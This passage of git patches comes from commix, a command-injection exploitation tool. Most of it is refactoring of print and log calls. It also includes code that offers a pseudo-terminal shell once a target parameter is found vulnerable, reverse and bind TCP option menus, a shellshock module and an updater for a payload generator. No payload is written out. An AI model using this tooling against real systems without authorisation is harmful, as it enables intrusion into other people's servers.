dependencies - print(settings.print_critical_msg(err_msg)) - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) raise SystemExit() # eof \ No newline at end of file diff --git a/src/utils/logs.py b/src/utils/logs.py index ba598c88e6..4afd94ecfc 100755 --- a/src/utils/logs.py +++ b/src/utils/logs.py @@ -44,7 +44,7 @@ def path_creation(path): error_msg = str(err_msg).split("] ")[1] + "." except IndexError: error_msg = str(err_msg) + "." - print(settings.print_critical_msg(error_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(error_msg)) raise SystemExit() """ @@ -56,12 +56,12 @@ def logs_filename_creation(url): if os.path.isdir(menu.options.output_dir): output_dir = menu.options.output_dir warn_msg = "Using '" + output_dir + "' for output directory." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) else: output_dir = tempfile.mkdtemp(prefix=settings.APPLICATION) warn_msg = "Unable to create output directory '" + menu.options.output_dir + "'. " warn_msg += "Using temporary directory '" + output_dir + "' instead." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) else: output_dir = settings.OUTPUT_DIR path_creation(os.path.dirname(settings.OUTPUT_DIR)) @@ -93,7 +93,7 @@ def create_log_file(url, output_dir): settings.SESSION_FILE = menu.options.session_file else: err_msg = "The provided session file ('" + menu.options.session_file + "') does not exist." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() else: settings.SESSION_FILE = logs_path + "session.db" @@ -118,7 +118,7 @@ def create_log_file(url, output_dir): error_msg = str(err_msg.args[0]).split("] ")[1] + "." except: error_msg = str(err_msg.args[0]) + "." - print(settings.print_critical_msg(error_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(error_msg)) raise SystemExit() if not menu.options.output_dir: @@ -186,7 +186,7 @@ def logs_notification(filename): # Save command history. if not menu.options.no_logging: info_msg = "Fetched data logged to text files under '" + filename + "'." - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) """ Log all HTTP traffic into a textual file. diff --git a/src/utils/menu.py b/src/utils/menu.py index d3ab082c25..27fbab88de 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -30,7 +30,7 @@ The commix's banner. """ def banner(): - print(r""" __ + settings.print_data_to_stdout(r""" __ ___ ___ ___ ___ ___ ___ /\_\ __ _ /`___\ / __`\ /' __` __`\ /' __` __`\/\ \ /\ \/'\ """ + settings.COLOR_VERSION + r""" /\ \__//\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \ \ \\/> ) to quit commix. @@ -693,7 +693,7 @@ def os_shell_options(): The "reverse_tcp" available options. """ def reverse_tcp_options(): - print("""""" + Style.BRIGHT + """Available 'reverse_tcp' options:""" + Style.RESET_ALL + """ + settings.print_data_to_stdout("""""" + Style.BRIGHT + """Available 'reverse_tcp' options:""" + Style.RESET_ALL + """ """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """?""" + Style.RESET_ALL + """' to get all the available options. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """set""" + Style.RESET_ALL + """' to set a context-specific variable to a value. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """back""" + Style.RESET_ALL + """' to move back from the current context. @@ -705,7 +705,7 @@ def reverse_tcp_options(): The "bind_tcp" available options. """ def bind_tcp_options(): - print("""""" + Style.BRIGHT + """Available 'bind_tcp' options:""" + Style.RESET_ALL + """ + settings.print_data_to_stdout("""""" + Style.BRIGHT + """Available 'bind_tcp' options:""" + Style.RESET_ALL + """ """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """?""" + Style.RESET_ALL + """' to get all the available options. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """set""" + Style.RESET_ALL + """' to set a context-specific variable to a value. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """back""" + Style.RESET_ALL + """' to move back from the current context. @@ -717,7 +717,7 @@ def bind_tcp_options(): The available mobile user agents. """ def mobile_user_agents(): - print("""""" + Style.BRIGHT + """Available smartphones HTTP User-Agent headers:""" + Style.RESET_ALL + """ + settings.print_data_to_stdout("""""" + Style.BRIGHT + """Available smartphones HTTP User-Agent headers:""" + Style.RESET_ALL + """ """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' for BlackBerry Z10. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' for Samsung Galaxy S7. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' for HP iPAQ 6365. diff --git a/src/utils/purge.py b/src/utils/purge.py index 9d01169288..ff15228fd5 100644 --- a/src/utils/purge.py +++ b/src/utils/purge.py @@ -38,16 +38,11 @@ def purge(): directory = settings.OUTPUT_DIR if not os.path.isdir(directory): warn_msg = "Skipping purging of directory '" + directory + "', as it does not exist." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) return - info_msg = "Purging content of directory '" + directory + "'" - if not settings.VERBOSITY_LEVEL != 0: - info_msg += "." - else: - info_msg += ".\n" - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - + info_msg = "Purging content of directory '" + directory + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + # Purging content of target directory. dir_paths = [] file_paths = [] @@ -58,8 +53,8 @@ def purge(): # Changing file attributes. if settings.VERBOSITY_LEVEL != 0: debug_msg = "Changing file attributes." - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + failed = False for file_path in file_paths: try: @@ -67,17 +62,12 @@ def purge(): except: failed = True pass - if settings.VERBOSITY_LEVEL != 0: - if not failed: - print(settings.SINGLE_WHITESPACE) - else: - print(settings.SINGLE_WHITESPACE) # Writing random data to files. if settings.VERBOSITY_LEVEL != 0: debug_msg = "Writing random data to files. " - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + failed = False for file_path in file_paths: try: @@ -87,17 +77,12 @@ def purge(): except: failed = True pass - if settings.VERBOSITY_LEVEL != 0: - if not failed: - print(settings.SINGLE_WHITESPACE) - else: - print(settings.SINGLE_WHITESPACE) # Truncating files. if settings.VERBOSITY_LEVEL != 0: debug_msg = "Truncating files." - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + failed = False for file_path in file_paths: try: @@ -106,17 +91,12 @@ def purge(): except: failed = True pass - if settings.VERBOSITY_LEVEL != 0: - if not failed: - print(settings.SINGLE_WHITESPACE) - else: - print(settings.SINGLE_WHITESPACE) # Renaming filenames to random values. if settings.VERBOSITY_LEVEL != 0: debug_msg = "Renaming filenames to random values." - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + failed = False for file_path in file_paths: try: @@ -124,17 +104,12 @@ def purge(): except: failed = True pass - if settings.VERBOSITY_LEVEL != 0: - if not failed: - print(settings.SINGLE_WHITESPACE) - else: - print(settings.SINGLE_WHITESPACE) # Renaming directory names to random values. if settings.VERBOSITY_LEVEL != 0: debug_msg = "Renaming directory names to random values." - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + failed = False dir_paths.sort(key=functools.cmp_to_key(lambda x, y: y.count(os.path.sep) - x.count(os.path.sep))) for dir_path in dir_paths: @@ -143,27 +118,19 @@ def purge(): except: failed = True pass - if settings.VERBOSITY_LEVEL != 0: - if not failed: - print(settings.SINGLE_WHITESPACE) - else: - print(settings.SINGLE_WHITESPACE) # Deleting the whole directory tree. if settings.VERBOSITY_LEVEL != 0: debug_msg = "Deleting the whole directory tree." - sys.stdout.write(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) try: failed = False os.chdir(os.path.join(directory, "..")) shutil.rmtree(directory) except OSError as e: failed = True - if not failed: - print(settings.SINGLE_WHITESPACE) - else: - print(settings.SINGLE_WHITESPACE) + if failed: err_msg = "Problem occurred while removing directory '" + directory + "'." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) # eof \ No newline at end of file diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index 381e3210f0..7bc248ea75 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -45,11 +45,11 @@ def ignore(url): if os.path.isfile(settings.SESSION_FILE): if settings.VERBOSITY_LEVEL != 0: debug_msg = "Ignoring the stored session from the session file due to '--ignore-session' switch." - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) else: if settings.VERBOSITY_LEVEL != 0: warn_msg = "Skipping ignoring the stored session, as the session file not exist." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ Flush session. @@ -58,7 +58,7 @@ def flush(url): if os.path.isfile(settings.SESSION_FILE): if settings.VERBOSITY_LEVEL != 0: debug_msg = "Flushing the stored session from the session file." - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) try: conn = sqlite3.connect(settings.SESSION_FILE) tables = list(conn.execute("SELECT name FROM sqlite_master WHERE type is 'table'")) @@ -66,13 +66,13 @@ def flush(url): conn.commit() conn.close() except sqlite3.OperationalError as err_msg: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) err_msg = "Unable to flush the session file." + str(err_msg).title() - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) else: if settings.VERBOSITY_LEVEL != 0: warn_msg = "Skipping flushing the stored session, as the session file not exist." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ Clear injection point records @@ -88,7 +88,7 @@ def clear(url): conn.commit() conn.close() except sqlite3.OperationalError as err_msg: - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) except: settings.LOAD_SESSION = False return False @@ -122,7 +122,7 @@ def injection_point_importation(url, technique, injection_type, separator, shell except sqlite3.OperationalError as err_msg: err_msg = str(err_msg)[:1].upper() + str(err_msg)[1:] + "." err_msg += " You are advised to rerun with switch '--flush-session'." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() except sqlite3.DatabaseError as err_msg: @@ -162,7 +162,7 @@ def applied_techniques(url, http_request_method): applied_techniques = ''.join(list(set(values))) return applied_techniques except sqlite3.OperationalError as err_msg: - #print(settings.print_critical_msg(err_msg)) + #settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) settings.LOAD_SESSION = False return False except: @@ -192,7 +192,7 @@ def applied_levels(url, http_request_method): return session[0] except sqlite3.OperationalError as err_msg: - #print(settings.print_critical_msg(err_msg)) + #settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) settings.LOAD_SESSION = False return False except: @@ -266,7 +266,7 @@ def injection_point_exportation(url, http_request_method): no_such_table = True pass except sqlite3.OperationalError as err_msg: - #print(settings.print_critical_msg(err_msg)) + #settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) settings.LOAD_SESSION = False return False except: @@ -318,7 +318,7 @@ def notification(url, technique, injection_type): common.invalid_option(settings.LOAD_SESSION) pass except sqlite3.OperationalError as err_msg: - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) except (KeyboardInterrupt, SystemExit): raise @@ -361,7 +361,7 @@ def store_cmd(url, cmd, shell, vuln_parameter): conn.commit() conn.close() except sqlite3.OperationalError as err_msg: - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) except (TypeError, AttributeError) as err_msg: pass @@ -415,7 +415,7 @@ def import_valid_credentials(url, authentication_type, admin_panel, username, pa conn.commit() conn.close() except sqlite3.OperationalError as err_msg: - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) except sqlite3.DatabaseError as err_msg: checks.error_loading_session_file() diff --git a/src/utils/settings.py b/src/utils/settings.py index 14605a330b..d4ca59ec86 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -191,6 +191,15 @@ def command_execution_output(shell): result = Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL return result +""" +Print data to stdout +""" +def print_data_to_stdout(data): + if END_LINE.CR not in data and data != "." and data != " (done)": + data = data + END_LINE.LF + sys.stdout.write(data) + sys.stdout.flush() + # argv checks def sys_argv_checks(): tamper_index = None @@ -222,17 +231,17 @@ def sys_argv_errors(): # Check for illegal (non-console) quote characters. if len(sys.argv[i]) > 1 and all(ord(_) in xrange(0x2018, 0x2020) for _ in ((sys.argv[i].split('=', 1)[-1].strip() or ' ')[0], sys.argv[i][-1])): err_msg = "Illegal (non-console) quote characters ('" + sys.argv[i] + "')." - print(print_critical_msg(err_msg)) + print_data_to_stdout(print_critical_msg(err_msg)) raise SystemExit() # Check for illegal (non-console) comma characters. elif len(sys.argv[i]) > 1 and u"\uff0c" in sys.argv[i].split('=', 1)[-1]: err_msg = "Illegal (non-console) comma character ('" + sys.argv[i] + "')." - print(print_critical_msg(err_msg)) + print_data_to_stdout(print_critical_msg(err_msg)) raise SystemExit() # Check for potentially miswritten (illegal '=') short option. elif re.search(r"\A-\w=.+", sys.argv[i]): err_msg = "Potentially miswritten (illegal '=') short option detected ('" + sys.argv[i] + "')." - print(print_critical_msg(err_msg)) + print_data_to_stdout(print_critical_msg(err_msg)) raise SystemExit() # argv checks @@ -247,7 +256,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "78" +REVISION = "79" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1159,7 +1168,13 @@ class AUTH_TYPE(object): HTTP_ERROR_CODES_SUM = [] # End line -END_LINE = ["\r", "\n", "\r\n"] +class END_LINE: + CR = "\r" + LF = "\n" + CRLF = "\r\n" + +# List of end lines +END_LINES_LIST = [attr for attr in dir(END_LINE) if not callable(getattr(END_LINE, attr)) and not attr.startswith("__")] # Check for updates on start up. CHECK_FOR_UPDATES_ON_START = True diff --git a/src/utils/simple_http_server.py b/src/utils/simple_http_server.py index be027717c8..27af77220b 100644 --- a/src/utils/simple_http_server.py +++ b/src/utils/simple_http_server.py @@ -78,9 +78,9 @@ def grab_ip_addr(): except socket_error as err_msg: if errno.ECONNREFUSED: warn_msg = "Internet seems unreachable." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) else: - print(settings.print_critical_msg(str(err_msg)) + "\n") + settings.print_data_to_stdout(settings.print_critical_msg(str(err_msg))) raise SystemExit() class Handler(_BaseHTTPServer.BaseHTTPRequestHandler): diff --git a/src/utils/update.py b/src/utils/update.py index a9b17d7027..31c68fced2 100755 --- a/src/utils/update.py +++ b/src/utils/update.py @@ -51,15 +51,15 @@ def revision_num(): match = re.search(r"(?i)[0-9a-f]{32}", stdout or "") rev_num = match.group(0) if match else None info_msg += " the latest revision '" + str(rev_num[:7]) + "'." - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) else: - sys.stdout.write(Fore.MAGENTA + "\n" + stdout + Style.RESET_ALL) + settings.print_data_to_stdout(Fore.MAGENTA + "\n" + stdout + Style.RESET_ALL) end = time.time() how_long = int(end - start) info_msg = "Finished in " + time.strftime('%H:%M:%S', time.gmtime(how_long)) + "." - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) except: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) raise SystemExit() """ @@ -69,19 +69,19 @@ def updater(): time.sleep(1) info_msg = "Checking requirements to update " info_msg += settings.APPLICATION + " from GitHub repository. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + if menu.options.offline: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) err_msg = "You cannot update commix via GitHub without access on the Internet." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() # Check if windows if settings.IS_WINDOWS: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) err_msg = "For updating purposes on Windows platform, it's recommended " err_msg += "to use a GitHub client for Windows (http://windows.github.com/)." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() else: try: @@ -91,34 +91,34 @@ def updater(): if requirments.do_check(requirment) == True : if settings.VERBOSITY_LEVEL != 0: debug_msg = "commix will try to update itself using '" + requirment + "' command." - print(settings.SINGLE_WHITESPACE) - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) # Check if ".git" exists! else: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) if os.path.isdir("./.git"): info_msg = "Updating " + settings.APPLICATION + " to the latest (dev) " info_msg += "version. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + revision_num() - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) os._exit(0) else: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) err_msg = "The '.git' directory not found. Do it manually: " err_msg += Style.BRIGHT + "'git clone " + settings.GIT_URL err_msg += " " + settings.APPLICATION + "' " - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() else: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) err_msg = requirment + " not found." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() except Exception as err_msg: - print("\n" + settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout("\n" + settings.print_critical_msg(err_msg)) raise SystemExit() """ @@ -158,20 +158,20 @@ def unicorn_updater(current_version): APPLICATION_NAME = "TrustedSec's Magic Unicorn" info_msg = "Checking requirements to update " info_msg += APPLICATION_NAME + " from GitHub repository. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + if menu.options.offline: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) err_msg = "You cannot update TrustedSec's Magic Unicorn " err_msg += "via GitHub without access on the Internet." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() # Check if windows if settings.IS_WINDOWS: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) err_msg = "For updating purposes on Windows platform, it's recommended " err_msg += "to use a GitHub client for Windows (http://windows.github.com/)." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() else: try: @@ -179,8 +179,8 @@ def unicorn_updater(current_version): # Check if 'git' is installed. requirments.do_check(requirment) if requirments.do_check(requirment) == True : - sys.stdout.write(settings.SUCCESS_STATUS + "\n") - sys.stdout.flush() + settings.print_data_to_stdout(settings.SUCCESS_STATUS) + if len(current_version) == 0: unicorn_path = os.path.abspath(os.path.join(os.path.dirname(__file__), '../', 'thirdparty/')) os.chdir(unicorn_path) @@ -191,17 +191,17 @@ def unicorn_updater(current_version): info_msg += "version. " subprocess.Popen("git clone https://github.com/trustedsec/unicorn", shell=True).wait() os.chdir("unicorn") - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + revision_num() else: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) err_msg = requirment + " not found." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() except Exception as err_msg: - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() """ @@ -225,10 +225,10 @@ def check_unicorn_version(current_version): if len(current_version) != 0: warn_msg = "Current version of TrustedSec's Magic Unicorn (" + current_version + ") seems to be out-of-date." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) else: warn_msg = "TrustedSec's Magic Unicorn seems to be not installed." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) while True: if len(current_version) == 0: action = "install" diff --git a/src/utils/version.py b/src/utils/version.py index 9f1ce1a33a..9ee77e1351 100644 --- a/src/utils/version.py +++ b/src/utils/version.py @@ -20,7 +20,7 @@ Show version number and exit. """ def show_version(): - print(settings.VERSION) + settings.print_data_to_stdout(settings.VERSION) raise SystemExit() """ @@ -32,5 +32,5 @@ def python_version(): warn_msg = "Deprecated Python version detected: " warn_msg += PYTHON_VERSION + ". " warn_msg += "You are advised to re-run with Python 3." - print(settings.print_bold_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_bold_warning_msg(warn_msg)) #raise SystemExit() From 8f8d7c86befa49a0aa243e223fce48ba95bec61c Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 1 Jul 2024 09:08:41 +0300 Subject: [PATCH 476/560] Fixes https://github.com/commixproject/commix/issues/938 --- src/core/injections/controller/parser.py | 2 +- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py index a004bcb361..412436fdf1 100755 --- a/src/core/injections/controller/parser.py +++ b/src/core/injections/controller/parser.py @@ -77,7 +77,7 @@ def invalid_data(request): else: invalid_data(request_file) - if menu.options.requestfile: + if menu.options.requestfile or menu.options.logfile: c = 1 request_headers = [] request_lines = request.split("\n") diff --git a/src/utils/settings.py b/src/utils/settings.py index d4ca59ec86..ace6883db4 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -256,7 +256,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "79" +REVISION = "80" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From fb46e9a8bdbf0eaa887e99c9b8af67363a384cc0 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 2 Jul 2024 07:15:27 +0300 Subject: [PATCH 477/560] Code refactoring --- .../blind/techniques/time_based/tb_handler.py | 8 +--- src/core/injections/controller/checks.py | 14 ++++++ .../techniques/classic/cb_handler.py | 8 +--- .../techniques/eval_based/eb_handler.py | 8 +--- .../techniques/file_based/fb_handler.py | 8 +--- .../techniques/tempfile_based/tfb_handler.py | 6 +-- src/core/modules/shellshock/shellshock.py | 8 +--- src/utils/settings.py | 46 +++++++++++-------- 8 files changed, 46 insertions(+), 60 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index 631271bd24..f5e70170ad 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -316,13 +316,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r while True: if go_back == True: break - message = settings.CHECKING_PARAMETER + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > " - if settings.CRAWLING: - settings.CRAWLED_URLS_INJECTED.append(_urllib.parse.urlparse(url).netloc) - if not settings.STDIN_PARSING: - gotshell = common.read_input(message, default="Y", check_batch=True) - else: - gotshell = common.read_input(message, default="n", check_batch=True) + gotshell = checks.enable_shell(url) if gotshell in settings.CHOICE_YES: settings.print_data_to_stdout(settings.OS_SHELL_TITLE) if settings.READLINE_ERROR: diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 8c6daf0fe7..82393f267a 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -789,6 +789,20 @@ def remove_empty_lines(content): pass return content +""" +Enable pseudo-terminal shell +""" +def enable_shell(url): + message = settings.CHECKING_PARAMETER + " is vulnerable. " + message += "Do you want to prompt for a pseudo-terminal shell? [Y/n] > " + if settings.CRAWLING: + settings.CRAWLED_URLS_INJECTED.append(_urllib.parse.urlparse(url).netloc) + if not settings.STDIN_PARSING: + gotshell = common.read_input(message, default="Y", check_batch=True) + else: + gotshell = common.read_input(message, default="n", check_batch=True) + return gotshell + """ Check 'os_shell' options """ diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py index e2b74a8529..955b5147fd 100755 --- a/src/core/injections/results_based/techniques/classic/cb_handler.py +++ b/src/core/injections/results_based/techniques/classic/cb_handler.py @@ -209,13 +209,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ while True : if go_back == True: break - message = settings.CHECKING_PARAMETER + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > " - if settings.CRAWLING: - settings.CRAWLED_URLS_INJECTED.append(_urllib.parse.urlparse(url).netloc) - if not settings.STDIN_PARSING: - gotshell = common.read_input(message, default="Y", check_batch=True) - else: - gotshell = common.read_input(message, default="n", check_batch=True) + gotshell = checks.enable_shell(url) if gotshell in settings.CHOICE_YES: settings.print_data_to_stdout(settings.OS_SHELL_TITLE) if settings.READLINE_ERROR: diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py index 98524a86c4..2eac2f668f 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py @@ -245,13 +245,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ while True: if go_back == True: break - message = settings.CHECKING_PARAMETER + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > " - if settings.CRAWLING: - settings.CRAWLED_URLS_INJECTED.append(_urllib.parse.urlparse(url).netloc) - if not settings.STDIN_PARSING: - gotshell = common.read_input(message, default="Y", check_batch=True) - else: - gotshell = common.read_input(message, default="n", check_batch=True) + gotshell = checks.enable_shell(url) if gotshell in settings.CHOICE_YES: settings.print_data_to_stdout(settings.OS_SHELL_TITLE) if settings.READLINE_ERROR: diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index f711bb3526..911192d8d5 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -423,13 +423,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if go_back == True: break - message = settings.CHECKING_PARAMETER + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > " - if settings.CRAWLING: - settings.CRAWLED_URLS_INJECTED.append(_urllib.parse.urlparse(url).netloc) - if not settings.STDIN_PARSING: - gotshell = common.read_input(message, default="Y", check_batch=True) - else: - gotshell = common.read_input(message, default="n", check_batch=True) + gotshell = checks.enable_shell(url) if gotshell in settings.CHOICE_YES: settings.print_data_to_stdout(settings.OS_SHELL_TITLE) if settings.READLINE_ERROR: diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index 37fd763d83..25e2c5a841 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -344,11 +344,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, while True: if go_back == True: break - message = settings.CHECKING_PARAMETER + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > " - if not settings.STDIN_PARSING: - gotshell = common.read_input(message, default="Y", check_batch=True) - else: - gotshell = common.read_input(message, default="n", check_batch=True) + gotshell = checks.enable_shell(url) if gotshell in settings.CHOICE_YES: settings.print_data_to_stdout(settings.OS_SHELL_TITLE) if settings.READLINE_ERROR: diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index 2006367340..71113c0735 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -421,13 +421,7 @@ def shellshock_handler(url, http_request_method, filename): while True: if go_back == True: break - message = settings.CHECKING_PARAMETER + " is vulnerable. Do 